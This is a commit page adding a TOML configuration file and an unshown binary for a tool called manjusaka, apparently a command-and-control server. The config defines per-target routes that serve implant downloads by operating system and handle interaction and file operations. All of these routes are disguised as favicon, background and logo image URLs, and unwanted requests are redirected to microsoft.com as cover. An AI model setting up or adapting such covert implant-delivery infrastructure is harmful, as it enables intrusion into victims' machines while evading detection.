Skip to content

Commit 5129029

Browse files
authored
update 0.4
1 parent b6f5456 commit 5129029

File tree

2 files changed

+32
-0
lines changed

2 files changed

+32
-0
lines changed

conf.toml

Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
[nps]
2+
3+
#nps监听端口
4+
npsport = ":3200"
5+
6+
#npc监听端口
7+
npcport = ":80"
8+
9+
#NPU后台地址
10+
npuaddr = "manjusaka"
11+
12+
#主交互路由,遵守gin路由规则 后端会读取target的值(最终url总长不能超64)
13+
npcroute = "/:target/favicon.ico"
14+
15+
#npc母体下载路由,遵守gin路由规则 后端会读取target目标、和sys系统类型的值
16+
downroute = "/:target/assert/:sys/bg.jpg"
17+
18+
#非法请求时的转发地址
19+
redirect = "http://www.microsoft.com"
20+
21+
[fileservice]
22+
#文件服务地址 默认开启本地服务
23+
server = ""
24+
25+
#文件操作路由,遵守gin路由规则 后端会读取target目标、和fid的值
26+
route = "/images/:target/:fid/logo.png"
27+
28+
#fid有效时间(秒)
29+
fidtimeout = 3600
30+
31+
32+

manjusaka-0.4

11.5 MB
Binary file not shown.

0 commit comments

Comments
 (0)